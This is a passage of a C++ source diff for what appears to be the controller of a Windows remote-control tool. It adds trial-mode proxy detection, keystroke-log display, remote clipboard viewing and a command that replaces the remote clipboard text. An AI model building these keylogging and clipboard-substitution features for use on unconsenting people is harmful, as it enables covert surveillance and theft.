if (This->m_bTimeToKill) break;
|
||||||
|
|
||||||
|
// —— 步骤 1:持锁快照 + 占引用 —— 锁外才做 WSAIoctl,避免阻塞其他 I/O
|
||||||
|
std::vector<PCONTEXT_OBJECT> snap;
|
||||||
|
EnterCriticalSection(&This->m_cs);
|
||||||
|
for (POSITION pos = This->m_ContextConnectionList.GetHeadPosition(); pos != NULL; ) {
|
||||||
|
PCONTEXT_OBJECT ctx = This->m_ContextConnectionList.GetNext(pos);
|
||||||
|
if (!ctx) continue;
|
||||||
|
if (ctx->IsRemoved.load(std::memory_order_acquire)) continue;
|
||||||
|
ctx->IoRefCount.fetch_add(1, std::memory_order_acq_rel);
|
||||||
|
snap.push_back(ctx);
|
||||||
|
}
|
||||||
|
LeaveCriticalSection(&This->m_cs);
|
||||||
|
|
||||||
|
// —— 步骤 2:OS 兼容性探测(一次性,借第一个真实连接做) —— 探测失败的 OS
|
||||||
|
// 上整个线程不必再活,本次循环把已占的引用还掉就退出。
|
||||||
|
if (!This->m_bSioTcpInfoProbed.load(std::memory_order_acquire) && !snap.empty()) {
|
||||||
|
uint32_t probeRtt = 0;
|
||||||
|
int err = QuerySocketTcpRttUs(snap[0]->sClientSocket, &probeRtt);
|
||||||
|
if (err == WSAEOPNOTSUPP) {
|
||||||
|
Mprintf("[Compliance] SIO_TCP_INFO not supported by OS (WSAEOPNOTSUPP); "
|
||||||
|
"server-side RTT monitoring disabled. Client-side LANRttChecker remains active.\n");
|
||||||
|
This->m_bSioTcpInfoSupported.store(false, std::memory_order_release);
|
||||||
|
This->m_bSioTcpInfoProbed.store(true, std::memory_order_release);
|
||||||
|
for (auto* c : snap) c->IoRefCount.fetch_sub(1, std::memory_order_acq_rel);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
// 其它错误(如 WSAENOTCONN 短连接刚断)不视为 OS 问题,下一轮再试
|
||||||
|
if (err == 0) {
|
||||||
|
This->m_bSioTcpInfoSupported.store(true, std::memory_order_release);
|
||||||
|
This->m_bSioTcpInfoProbed.store(true, std::memory_order_release);
|
||||||
|
Mprintf("[Compliance] SIO_TCP_INFO probe OK; server-side anti-proxy RTT monitor armed "
|
||||||
|
"(threshold=%d ms, trigger after >=%d consecutive median breaches @1Hz).\n",
|
||||||
|
TcpRttBreachDetector::RTT_THRESHOLD_MS, TcpRttBreachDetector::BREACH_PERSIST_COUNT);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// —— 步骤 3:逐 ctx 取 RTT + 喂检测器 —— 同步释放引用
|
||||||
|
for (auto* ctx : snap) {
|
||||||
|
uint32_t rttUs = 0;
|
||||||
|
int err = QuerySocketTcpRttUs(ctx->sClientSocket, &rttUs);
|
||||||
|
if (err == 0 && rttUs > 0) {
|
||||||
|
ctx->SetRttUs(rttUs);
|
||||||
|
// RttUs 单位是微秒,转毫秒喂检测器
|
||||||
|
int rttMs = (int)((rttUs + 500) / 1000);
|
||||||
|
if (ctx->m_RttDetector.Feed(rttMs)) {
|
||||||
|
// 本 ctx 首次触发:记日志(每个 ctx 都记,便于排查 abusive 来源);
|
||||||
|
// 全 server 一次性 latch 决定要不要弹框
|
||||||
|
Mprintf("[Compliance] !!! Trial-mode anti-proxy triggered: client=%llu IP=%s "
|
||||||
|
"median RTT=%d ms (threshold=%d ms).\n",
|
||||||
|
ctx->ID, ctx->GetPeerName().c_str(),
|
||||||
|
ctx->m_RttDetector.TriggerMedianMs(),
|
||||||
|
TcpRttBreachDetector::RTT_THRESHOLD_MS);
|
||||||
|
bool expected = false;
|
||||||
|
if (s_TrialAbuseWarned.compare_exchange_strong(expected, true) && This->m_hMainWnd) {
|
||||||
|
// WPARAM 携带 abusive ctx 的 ClientID 低 32 位(仅用于展示),LPARAM 携带 medianMs
|
||||||
|
PostMessageA(This->m_hMainWnd, WM_TRIAL_RTT_ABUSE,
|
||||||
|
(WPARAM)(ctx->ID & 0xFFFFFFFF),
|
||||||
|
(LPARAM)ctx->m_RttDetector.TriggerMedianMs());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ctx->IoRefCount.fetch_sub(1, std::memory_order_acq_rel);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
DWORD IOCPServer::ListenThreadProc(LPVOID lParam) //监听线程
|
DWORD IOCPServer::ListenThreadProc(LPVOID lParam) //监听线程
|
||||||
{
|
{
|
||||||
IOCPServer* This = (IOCPServer*)(lParam);
|
IOCPServer* This = (IOCPServer*)(lParam);
|
||||||
@@ -1010,6 +1189,29 @@ void IOCPServer::OnAccept()
|
|||||||
}
|
}
|
||||||
RecordConnection(clientIP);
|
RecordConnection(clientIP);
|
||||||
|
|
||||||
|
// 试用版反代理 —— 入站 IP 段检测(即时触发,对合作型代理透明)
|
||||||
|
//
|
||||||
|
// 与 RttPollThreadProc 的 SIO_TCP_INFO 检测互补:RTT 测的是"我↔直接 TCP 对端",
|
||||||
|
// 任何 TCP 终结型代理都能欺骗它;本检测用 Proxy Protocol v2 解出的真实 IP(若有)
|
||||||
|
// 或 getpeername 的 raw IP 直接判私网段。
|
||||||
|
// - 覆盖:直连 WAN、PP2 透出真实 IP 是公网
|
||||||
|
// - 不覆盖:socat / 不发 PP2 的中转 —— 那种场景仍由客户端 LANRttChecker 兜底
|
||||||
|
//
|
||||||
|
// 性能:每个新连接走一次 IsPrivateIPv4Str(几个位运算),不放心跳路径,可忽略。
|
||||||
|
// 不主动断开连接(与 RTT 路径一致仅告警),由运营商看到弹框后自行处置。
|
||||||
|
// 详见 docs/Compliance_TechnicalMeasures.md(口径文档,可能比这里更新)。
|
||||||
|
if (m_bTrialMode && !LANChecker::IsPrivateIPv4Str(clientIP)) {
|
||||||
|
Mprintf("[Compliance] !!! Trial-mode WAN inbound: IP=%s (resolved via %s).\n",
|
||||||
|
clientIP.c_str(),
|
||||||
|
ContextObject->GetPeerName().empty() ? "getpeername" : "Proxy Protocol v2 or getpeername");
|
||||||
|
bool expected = false;
|
||||||
|
if (s_TrialAbuseWarned.compare_exchange_strong(expected, true) && m_hMainWnd) {
|
||||||
|
// CString* 由 OnTrialWanIpAbuse handler 负责 delete,与 OnShowErrMessage 一致
|
||||||
|
PostMessageA(m_hMainWnd, WM_TRIAL_WAN_IP_ABUSE,
|
||||||
|
(WPARAM)new CString(clientIP.c_str()), 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
ContextObject->wsaInBuf.buf = (char*)ContextObject->szBuffer;
|
ContextObject->wsaInBuf.buf = (char*)ContextObject->szBuffer;
|
||||||
ContextObject->wsaInBuf.len = sizeof(ContextObject->szBuffer);
|
ContextObject->wsaInBuf.len = sizeof(ContextObject->szBuffer);
|
||||||
|
|
||||||
|
|||||||
@@ -78,9 +78,19 @@ protected:
|
|||||||
void LoadIPWhitelist();
|
void LoadIPWhitelist();
|
||||||
void LoadIPBlacklist();
|
void LoadIPBlacklist();
|
||||||
|
|
||||||
|
// RTT 反代理(试用版执法)相关。详见 IOCPServer.cpp 中的实现注释。
|
||||||
|
HANDLE m_hRttThread = NULL;
|
||||||
|
bool m_bTrialMode = false; // StartServer 时根据 IsTrail(passcode) 缓存
|
||||||
|
std::atomic<bool> m_bSioTcpInfoProbed{false}; // 是否已完成 OS 兼容性探测
|
||||||
|
std::atomic<bool> m_bSioTcpInfoSupported{false}; // 探测结果(不支持则 RTT 线程会自行退出)
|
||||||
|
// 全 server 进程一次性 latch,IP 段触发与 RTT 触发共用。任一先触发后另一者只记日志不再弹框,
|
||||||
|
// 避免对运营商反复打扰;不影响每条 abusive 连接的独立日志。
|
||||||
|
static std::atomic<bool> s_TrialAbuseWarned;
|
||||||
|
|
||||||
private:
|
private:
|
||||||
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
static DWORD WINAPI ListenThreadProc(LPVOID lParam);
|
||||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||||
|
static DWORD WINAPI RttPollThreadProc(LPVOID lParam);
|
||||||
|
|
||||||
BOOL InitializeIOCP(VOID);
|
BOOL InitializeIOCP(VOID);
|
||||||
VOID OnAccept();
|
VOID OnAccept();
|
||||||
@@ -228,8 +238,12 @@ public:
|
|||||||
{
|
{
|
||||||
return m_bIsClosed;
|
return m_bIsClosed;
|
||||||
}
|
}
|
||||||
uint64_t GetClientID() const {
|
virtual uint64_t GetClientID() const {
|
||||||
return m_ClientID;
|
// 优先用 UpdateContext 设过的 m_ClientID(重连场景),否则取子连接 ctx 自身的 ID。
|
||||||
|
// 子连接通过 TOKEN_CONN_AUTH 通过校验后,ctx->GetClientID() 已被钉成主连接的 clientID,
|
||||||
|
// 这样 dialog 拿到的 ID 既准确又免去 IP 反查兜底(NAT/127.0.0.1 场景靠谱)。
|
||||||
|
if (m_ClientID != 0) return m_ClientID;
|
||||||
|
return m_ContextObject ? m_ContextObject->GetClientID() : 0;
|
||||||
}
|
}
|
||||||
BOOL SayByeBye()
|
BOOL SayByeBye()
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -3,7 +3,9 @@
|
|||||||
|
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
#include <WinUser.h>
|
#include <WinUser.h>
|
||||||
|
#include <string>
|
||||||
#include "KeyBoardDlg.h"
|
#include "KeyBoardDlg.h"
|
||||||
|
#include "2015RemoteDlg.h" // GetClientEncoding helper
|
||||||
|
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
#define new DEBUG_NEW
|
#define new DEBUG_NEW
|
||||||
@@ -14,15 +16,32 @@ static char THIS_FILE[] = __FILE__;
|
|||||||
#define IDM_ENABLE_OFFLINE 0x0010
|
#define IDM_ENABLE_OFFLINE 0x0010
|
||||||
#define IDM_CLEAR_RECORD 0x0011
|
#define IDM_CLEAR_RECORD 0x0011
|
||||||
#define IDM_SAVE_RECORD 0x0012
|
#define IDM_SAVE_RECORD 0x0012
|
||||||
|
#define SHOW_CLIP_TEXT WM_USER+201
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
// CKeyBoardDlg dialog
|
// CKeyBoardDlg dialog
|
||||||
|
|
||||||
|
#include "common/utf8.h"
|
||||||
|
|
||||||
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
||||||
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
|
: DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD)
|
||||||
{
|
{
|
||||||
m_bIsOfflineRecord = (BYTE)m_ContextObject->m_DeCompressionBuffer.GetBuffer(0)[1];
|
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
|
||||||
|
m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1);
|
||||||
|
|
||||||
|
// 子连接从协议扩展字段(byte 2-3)拿到能力位,写入自身的 CAPABILITIES。
|
||||||
|
// 这样 m_ContextObject->SupportsUtf8() 可直接生效,不再依赖 IP 反查主连接。
|
||||||
|
// 老客户端只发 2 字节,GetBYTE 越界返回 0,等同 caps=0 -> 走 CP936 兜底,向后兼容。
|
||||||
|
WORD caps = m_ContextObject->m_DeCompressionBuffer.GetBYTE(2)
|
||||||
|
| (m_ContextObject->m_DeCompressionBuffer.GetBYTE(3) << 8);
|
||||||
|
if (caps != 0) {
|
||||||
|
CString capStr;
|
||||||
|
capStr.Format(_T("%04X"), caps);
|
||||||
|
m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr);
|
||||||
|
}
|
||||||
|
if (len >= 4 + sizeof(TextReplace)) {
|
||||||
|
m_ContextObject->m_DeCompressionBuffer.CopyBuffer(&m_TextRule, sizeof(TextReplace), 4);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -32,6 +51,8 @@ void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX)
|
|||||||
//{{AFX_DATA_MAP(CKeyBoardDlg)
|
//{{AFX_DATA_MAP(CKeyBoardDlg)
|
||||||
DDX_Control(pDX, IDC_EDIT, m_edit);
|
DDX_Control(pDX, IDC_EDIT, m_edit);
|
||||||
//}}AFX_DATA_MAP
|
//}}AFX_DATA_MAP
|
||||||
|
DDX_Control(pDX, IDC_EDIT_CLIPBOARD, m_EditClipText);
|
||||||
|
DDX_Control(pDX, IDC_EDIT_TEXTRULE, m_EditClipRule);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -41,6 +62,8 @@ BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
|
|||||||
ON_WM_CLOSE()
|
ON_WM_CLOSE()
|
||||||
ON_WM_SYSCOMMAND()
|
ON_WM_SYSCOMMAND()
|
||||||
//}}AFX_MSG_MAP
|
//}}AFX_MSG_MAP
|
||||||
|
ON_BN_CLICKED(IDC_BTN_APPLY_TEXTRULE, &CKeyBoardDlg::OnBnClickedBtnApplyTextrule)
|
||||||
|
ON_MESSAGE(SHOW_CLIP_TEXT, &CKeyBoardDlg::ShowClipboardText)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
/////////////////////////////////////////////////////////////////////////////
|
/////////////////////////////////////////////////////////////////////////////
|
||||||
@@ -52,6 +75,25 @@ void CKeyBoardDlg::PostNcDestroy()
|
|||||||
__super::PostNcDestroy();
|
__super::PostNcDestroy();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CKeyBoardDlg::RebuildEdit(CEdit & m_edit) {
|
||||||
|
CRect rc;
|
||||||
|
m_edit.GetWindowRect(&rc);
|
||||||
|
ScreenToClient(&rc);
|
||||||
|
DWORD style = m_edit.GetStyle();
|
||||||
|
DWORD exStyle = m_edit.GetExStyle();
|
||||||
|
HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0);
|
||||||
|
UINT ctrlID = m_edit.GetDlgCtrlID();
|
||||||
|
m_edit.DestroyWindow();
|
||||||
|
HWND hEdit = ::CreateWindowExW(
|
||||||
|
exStyle, L"EDIT", L"", style,
|
||||||
|
rc.left, rc.top, rc.Width(), rc.Height(),
|
||||||
|
this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID,
|
||||||
|
AfxGetInstanceHandle(), NULL);
|
||||||
|
m_edit.Attach(hEdit);
|
||||||
|
if (hFont)
|
||||||
|
m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||||
|
}
|
||||||
|
|
||||||
BOOL CKeyBoardDlg::OnInitDialog()
|
BOOL CKeyBoardDlg::OnInitDialog()
|
||||||
{
|
{
|
||||||
__super::OnInitDialog();
|
__super::OnInitDialog();
|
||||||
@@ -73,7 +115,19 @@ BOOL CKeyBoardDlg::OnInitDialog()
|
|||||||
|
|
||||||
UpdateTitle();
|
UpdateTitle();
|
||||||
|
|
||||||
|
// -----------------------------------------------------------------
|
||||||
|
// 把 m_edit 重建为 Unicode 类窗口。
|
||||||
|
// 工程是 MBCS,MFC 默认用 A 版 CreateWindowEx 创建子控件,导致即便
|
||||||
|
// 调 SendMessageW(EM_REPLACESEL,...) 系统也会在 W->A 边界用 CP_ACP
|
||||||
|
// 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建
|
||||||
|
// 后,控件内部以 Unicode 存储,W 版消息直通,不再走 CP_ACP。
|
||||||
|
// -----------------------------------------------------------------
|
||||||
|
RebuildEdit(m_edit);
|
||||||
|
|
||||||
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
||||||
|
auto rule = utf8_to_ansi((char*)m_TextRule.param);
|
||||||
|
m_EditClipRule.SetWindowTextA(rule.empty() ? _TR("<请输入文本用于替换远程剪切板>") : rule.c_str());
|
||||||
|
GetDlgItem(IDC_BTN_APPLY_TEXTRULE)->SetWindowTextA(_TR("替换"));
|
||||||
|
|
||||||
// 通知远程控制端对话框已经打开
|
// 通知远程控制端对话框已经打开
|
||||||
BYTE bToken = COMMAND_NEXT;
|
BYTE bToken = COMMAND_NEXT;
|
||||||
@@ -101,18 +155,59 @@ void CKeyBoardDlg::OnReceiveComplete()
|
|||||||
case TOKEN_KEYBOARD_DATA:
|
case TOKEN_KEYBOARD_DATA:
|
||||||
AddKeyBoardData();
|
AddKeyBoardData();
|
||||||
break;
|
break;
|
||||||
|
case TOKEN_CLIP_TEXT: {
|
||||||
|
int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen();
|
||||||
|
if (len == 1) break;
|
||||||
|
char* buf = new char[len];
|
||||||
|
memcpy(buf, m_ContextObject->m_DeCompressionBuffer.GetBuffer(1), len-1);
|
||||||
|
PostMessage(SHOW_CLIP_TEXT, (WPARAM)buf, len-1);
|
||||||
|
break;
|
||||||
|
}
|
||||||
default:
|
default:
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
char* buf = (char*)wParam;
|
||||||
|
std::string text = utf8_to_ansi(buf);
|
||||||
|
SAFE_DELETE_ARRAY(buf);
|
||||||
|
m_EditClipText.SetWindowTextA(text.c_str());
|
||||||
|
return S_OK;
|
||||||
|
}
|
||||||
|
|
||||||
void CKeyBoardDlg::AddKeyBoardData()
|
void CKeyBoardDlg::AddKeyBoardData()
|
||||||
{
|
{
|
||||||
// 最后填上0
|
// 最后填上0
|
||||||
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
|
m_ContextObject->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
|
||||||
int len = m_edit.GetWindowTextLength();
|
const char* utf8 = (const char*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1);
|
||||||
m_edit.SetSel(len, len);
|
if (!utf8 || !utf8[0])
|
||||||
m_edit.ReplaceSel((TCHAR *)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1));
|
return;
|
||||||
|
|
||||||
|
// 客户端编码由能力位 CLIENT_CAP_UTF8 决定。
|
||||||
|
// 注意:m_ContextObject 是键盘记录子连接,其自身 CAPABILITIES 为空;
|
||||||
|
// helper 内部通过 peer IP 查主连接获取真正的能力位。
|
||||||
|
UINT cp = GetClientEncoding(m_ContextObject);
|
||||||
|
int wlen = MultiByteToWideChar(cp, 0, utf8, -1, NULL, 0);
|
||||||
|
if (wlen <= 1)
|
||||||
|
return;
|
||||||
|
std::wstring wbuf(wlen - 1, L'\0');
|
||||||
|
MultiByteToWideChar(cp, 0, utf8, -1, &wbuf[0], wlen);
|
||||||
|
|
||||||
|
// 全程走 W 版消息直通 Unicode 控件。注意几个坑:
|
||||||
|
// 1) MFC 的 m_edit.SetSel(...) 默认走 ::SendMessage (A 版) 并紧跟一次
|
||||||
|
// EM_SCROLLCARET,时序变成 "SetSel→ScrollCaret→ReplaceSel",即
|
||||||
|
// 先滚到旧末尾、再插入,部分场景控件状态会错乱(光标不在末尾、
|
||||||
|
// 用户手动移动光标后插入位置不对等)。
|
||||||
|
// 2) EM_SETSEL 用 0x7FFFFFFF 表示"末尾",由控件自行 clamp 到当前长度,
|
||||||
|
// 不依赖 WM_GETTEXTLENGTH 计算结果。
|
||||||
|
// 3) ReplaceSel 后再 ScrollCaret,确保滚到 *新* 末尾。
|
||||||
|
HWND hEdit = m_edit.GetSafeHwnd();
|
||||||
|
if (!hEdit) return;
|
||||||
|
::SendMessageW(hEdit, EM_SETSEL, (WPARAM)0x7FFFFFFF, (LPARAM)0x7FFFFFFF);
|
||||||
|
::SendMessageW(hEdit, EM_REPLACESEL, FALSE, (LPARAM)wbuf.c_str());
|
||||||
|
::SendMessageW(hEdit, EM_SCROLLCARET, 0, 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
bool CKeyBoardDlg::SaveRecord()
|
bool CKeyBoardDlg::SaveRecord()
|
||||||
@@ -129,10 +224,30 @@ bool CKeyBoardDlg::SaveRecord()
|
|||||||
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
|
MessageBox(msg, _TR("提示"), MB_ICONINFORMATION);
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
// Write the DIB header and the bits
|
|
||||||
CString strRecord;
|
// m_edit 已是 Unicode 控件:用 W 版取宽字符串,转 UTF-8 写入并加 BOM。
|
||||||
m_edit.GetWindowText(strRecord);
|
// 这样保存的文件无视服务端 ACP,记事本/VS Code 等都能自动识别。
|
||||||
file.Write(strRecord, strRecord.GetLength());
|
int wlen = ::GetWindowTextLengthW(m_edit.GetSafeHwnd());
|
||||||
|
std::wstring wbuf;
|
||||||
|
if (wlen > 0) {
|
||||||
|
wbuf.resize(wlen);
|
||||||
|
::GetWindowTextW(m_edit.GetSafeHwnd(), &wbuf[0], wlen + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
// UTF-8 BOM
|
||||||
|
const BYTE bom[3] = { 0xEF, 0xBB, 0xBF };
|
||||||
|
file.Write(bom, 3);
|
||||||
|
|
||||||
|
if (!wbuf.empty()) {
|
||||||
|
int u8len = WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
|
||||||
|
NULL, 0, NULL, NULL);
|
||||||
|
if (u8len > 0) {
|
||||||
|
std::string u8(u8len, '\0');
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, wbuf.c_str(), wlen,
|
||||||
|
&u8[0], u8len, NULL, NULL);
|
||||||
|
file.Write(u8.data(), (UINT)u8.size());
|
||||||
|
}
|
||||||
|
}
|
||||||
file.Close();
|
file.Close();
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
@@ -156,7 +271,8 @@ void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
|||||||
} else if (nID == IDM_CLEAR_RECORD) {
|
} else if (nID == IDM_CLEAR_RECORD) {
|
||||||
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
||||||
m_ContextObject->Send2Client(&bToken, 1);
|
m_ContextObject->Send2Client(&bToken, 1);
|
||||||
m_edit.SetWindowText("");
|
// m_edit 是 Unicode 类控件,调 W 版避免 CP_ACP 边界转换
|
||||||
|
::SetWindowTextW(m_edit.GetSafeHwnd(), L"");
|
||||||
} else if (nID == IDM_SAVE_RECORD) {
|
} else if (nID == IDM_SAVE_RECORD) {
|
||||||
SaveRecord();
|
SaveRecord();
|
||||||
} else {
|
} else {
|
||||||
@@ -180,8 +296,9 @@ void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
|
|||||||
__super::OnSize(nType, cx, cy);
|
__super::OnSize(nType, cx, cy);
|
||||||
|
|
||||||
// TODO: Add your message handler code here
|
// TODO: Add your message handler code here
|
||||||
if (IsWindowVisible())
|
/* if (IsWindowVisible())
|
||||||
ResizeEdit();
|
ResizeEdit();
|
||||||
|
*/
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -205,3 +322,13 @@ void CKeyBoardDlg::OnClose()
|
|||||||
|
|
||||||
DialogBase::OnClose();
|
DialogBase::OnClose();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
void CKeyBoardDlg::OnBnClickedBtnApplyTextrule()
|
||||||
|
{
|
||||||
|
CString rule;
|
||||||
|
m_EditClipRule.GetWindowTextA(rule);
|
||||||
|
auto utf8 = ansi_to_utf8(rule.GetString());
|
||||||
|
memcpy(m_TextRule.param, utf8.c_str(), utf8.length()+1);
|
||||||
|
m_TextRule.cmd = COMMAND_TEXT_REPLACE;
|
||||||
|
m_ContextObject->Send2Client((PBYTE)&m_TextRule, sizeof(TextReplace));
|
||||||
|
}
|
||||||
|
|||||||
@@ -54,6 +54,13 @@
|
|||||||
|
|
||||||
//}}AFX_MSG
|
//}}AFX_MSG
|
||||||
DECLARE_MESSAGE_MAP()
|
DECLARE_MESSAGE_MAP()
|
||||||
|
public:
|
||||||
|
TextReplace m_TextRule = {};
|
||||||
|
CEdit m_EditClipText;
|
||||||
|
CEdit m_EditClipRule;
|
||||||
|
void RebuildEdit(CEdit& m_edit);
|
||||||
|
afx_msg void OnBnClickedBtnApplyTextrule();
|
||||||
|
LRESULT ShowClipboardText(WPARAM wParam, LPARAM lParam);
|
||||||
};
|
};
|
||||||
|
|
||||||
//{{AFX_INSERT_LOCATION}}
|
//{{AFX_INSERT_LOCATION}}
|
||||||
|
|||||||
@@ -1,11 +1,13 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#include <map>
|
#include <map>
|
||||||
|
#include <set>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
#include <locale.h>
|
#include <locale.h>
|
||||||
#include <afxwin.h>
|
#include <afxwin.h>
|
||||||
#include "common/IniParser.h"
|
#include "common/IniParser.h"
|
||||||
|
#include "resource.h" // 用于内嵌语言资源 ID
|
||||||
|
|
||||||
// 设置线程区域为简体中文
|
// 设置线程区域为简体中文
|
||||||
// 这样 MBCS 程序在非中文系统上创建对话框时,也能正确解码 RC 资源中的 GBK 中文
|
// 这样 MBCS 程序在非中文系统上创建对话框时,也能正确解码 RC 资源中的 GBK 中文
|
||||||
@@ -55,17 +57,20 @@ public:
|
|||||||
} else {
|
} else {
|
||||||
m_langDir = langDir;
|
m_langDir = langDir;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 确保目录存在
|
|
||||||
CreateDirectory(m_langDir, NULL);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// 获取可用的语言列表
|
// 获取可用的语言列表(包括内嵌语言)
|
||||||
std::vector<CString> GetAvailableLanguages()
|
std::vector<CString> GetAvailableLanguages()
|
||||||
{
|
{
|
||||||
std::vector<CString> langs;
|
std::vector<CString> langs;
|
||||||
CString searchPath = m_langDir + _T("\\*.ini");
|
std::set<CString> langSet; // 用于去重
|
||||||
|
|
||||||
|
// 1. 添加内嵌语言(始终可用)
|
||||||
|
langSet.insert(_T("en_US"));
|
||||||
|
langSet.insert(_T("zh_TW"));
|
||||||
|
|
||||||
|
// 2. 扫描磁盘上的语言文件
|
||||||
|
CString searchPath = m_langDir + _T("\\*.ini");
|
||||||
WIN32_FIND_DATA fd;
|
WIN32_FIND_DATA fd;
|
||||||
HANDLE hFind = FindFirstFile(searchPath, &fd);
|
HANDLE hFind = FindFirstFile(searchPath, &fd);
|
||||||
if (hFind != INVALID_HANDLE_VALUE) {
|
if (hFind != INVALID_HANDLE_VALUE) {
|
||||||
@@ -73,30 +78,43 @@ public:
|
|||||||
CString filename(fd.cFileName);
|
CString filename(fd.cFileName);
|
||||||
int dotPos = filename.ReverseFind(_T('.'));
|
int dotPos = filename.ReverseFind(_T('.'));
|
||||||
if (dotPos > 0) {
|
if (dotPos > 0) {
|
||||||
langs.push_back(filename.Left(dotPos));
|
langSet.insert(filename.Left(dotPos));
|
||||||
}
|
}
|
||||||
} while (FindNextFile(hFind, &fd));
|
} while (FindNextFile(hFind, &fd));
|
||||||
FindClose(hFind);
|
FindClose(hFind);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 转为 vector 返回
|
||||||
|
for (const auto& lang : langSet) {
|
||||||
|
langs.push_back(lang);
|
||||||
|
}
|
||||||
return langs;
|
return langs;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 检查语言文件编码是否为 ANSI
|
// 检查语言文件编码是否为 ANSI
|
||||||
// 返回 false 表示文件不存在或编码不是 ANSI(检测 BOM 和 UTF-8 无 BOM)
|
// 返回 false 表示编码不是 ANSI(检测 BOM 和 UTF-8 无 BOM)
|
||||||
|
// 内嵌语言(en_US, zh_TW)直接返回 true
|
||||||
bool CheckEncoding(const CString& langCode)
|
bool CheckEncoding(const CString& langCode)
|
||||||
{
|
{
|
||||||
|
// 中文模式无需检查
|
||||||
if (langCode == _T("zh_CN") || langCode.IsEmpty()) {
|
if (langCode == _T("zh_CN") || langCode.IsEmpty()) {
|
||||||
TRACE("[LangEnc] zh_CN or empty, skip check\n");
|
TRACE("[LangEnc] zh_CN or empty, skip check\n");
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 内嵌语言无需检查(已确保编码正确)
|
||||||
|
if (langCode == _T("en_US") || langCode == _T("zh_TW")) {
|
||||||
|
TRACE("[LangEnc] builtin language, skip check\n");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
|
CString langFile = m_langDir + _T("\\") + langCode + _T(".ini");
|
||||||
TRACE("[LangEnc] Checking: %s\n", (LPCSTR)langFile);
|
TRACE("[LangEnc] Checking: %s\n", (LPCSTR)langFile);
|
||||||
|
|
||||||
FILE* f = nullptr;
|
FILE* f = nullptr;
|
||||||
if (fopen_s(&f, (LPCSTR)langFile, "rb") != 0 || !f) {
|
if (fopen_s(&f, (LPCSTR)langFile, "rb") != 0 || !f) {
|
||||||
TRACE("[LangEnc] fopen failed\n");
|
TRACE("[LangEnc] fopen failed\n");
|
||||||
return false;
|
return false; // 非内嵌语言必须有磁盘文件
|
||||||
}
|
}
|
||||||
|
|
||||||
// 读取文件内容(最多检测前 4KB 即可判断)
|
// 读取文件内容(最多检测前 4KB 即可判断)
|
||||||
@@ -164,26 +182,103 @@ public:
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 加载语言文件
|
// 加载语言文件
|
||||||
|
